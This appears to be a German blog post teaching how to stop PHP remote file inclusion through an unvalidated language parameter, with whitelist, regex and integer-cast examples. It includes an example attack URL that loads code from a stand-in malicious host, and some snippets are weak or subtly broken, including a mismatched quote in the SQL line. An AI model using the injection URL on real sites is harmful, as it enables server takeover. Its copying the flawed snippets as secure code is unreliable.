Gerade bei Open-Source-Software (wie phpBB, WordPress, phpMyAdmin o.a.) werden gerne bekannte Sicherheitslücken ausgenutzt, aber auch bei eigenen Scripts versuchen die Scriptkiddies immer wieder Ihren Code einzuschleusen.

Ein Beispiel:
Wir haben eine mehrsprachige Seite und es liegt nah, die Sprache in eine $lang-Variable zu speichern. Um die Sprache zu wechseln wird kurzerhand z.B. ein lang=en an den Query gehängt:


http://www.url.com/index.php?lang=de

Sollte die Variable nicht ordentlich überprüft werden, so kann ganz schnell übler Code eingeschleust werden:

http://www.url.com/index.php?lang=http://boeseurl.de/boese.txt

Hier wird jetzt statt dem de ein URI übergeben und schon hat der Angreifer ggf. Zugriff auf den Host. Sollte jetzt auch noch entweder der safe_mode ausgeschaltet sein oder alternativ kein suPHP laufen, so hat der Angreifer vollen Zugriff auf den Server.

Das Szenario von oben wäre erst garnicht möglich, würde die Variable $lang gecheckt werden.
Hier ein paar Ansätze:

< ?php
 
    /////// 1. Möglichkeit //////
    //Checken ob der Wert de oder en ist
    if ( $_GET['lang']=='de' || $_GET['lang']=='en' ) {
        $lang   =   $_GET['lang'];
    }else{
        $lang   =   'de';
    }
 
    /////// 2. Möglichkeit //////
    // Nur zwei Buchstaben sind erlaubt
    $pattern    =   '/^[a-z]{2}$/';
    if ( preg_match($pattern, $_GET['lang']) ) {
        $lang   =   $_GET['lang'];
    }
 
    /////// 3. Möglichkeit //////
    // en und de per Regular Expression
    $pattern    =   '/^(de|en)$/';
    if ( preg_match($pattern, $_GET['lang']) ) {
        $lang   =   $_GET['lang'];
    }
 
    /////// 4. Möglichkeit //////
    // ersten beiden Zeichen per substr
    $lang   =   substr($_GET['lang'], 0, 2);
 
    include 'includes/' . $lang . '.php';
 
?>

Zusatz
Wer z.B. Dateien á la


http://domain.com/index.php?site=kontakt

includiert oder mehrere Werte für seine Sprachen zur Verfügung stellen möchte, der sollte mit Whitelistings arbeiten:

< ?php
 
    $whitelist  =   array('seite1','seite2','kontakt');
 
    if ( in_array($_GET['site'], $whitelist) ) {
        $site   =   $_GET['site'];
    }else{
        $site   =   'site1';
    }
 
    include 'includes/' . $site . '.php';
 
?>

Werden nur Zahlen übergeben, dann wandelt man einfach in einen Integer um, sollte jemand nun was anderes als eine Zahl in den Query schreiben, so wird 0 ausgegeben:

< ?php
 
    $id     =   (int)$_GET['id'];
    $sql    =   "SELECT * FROM tabelle WHERE id='" . $id . '"';
 
?>

Für Anmerkungen und Verbesserungsvorschläge würde ich mich freuen!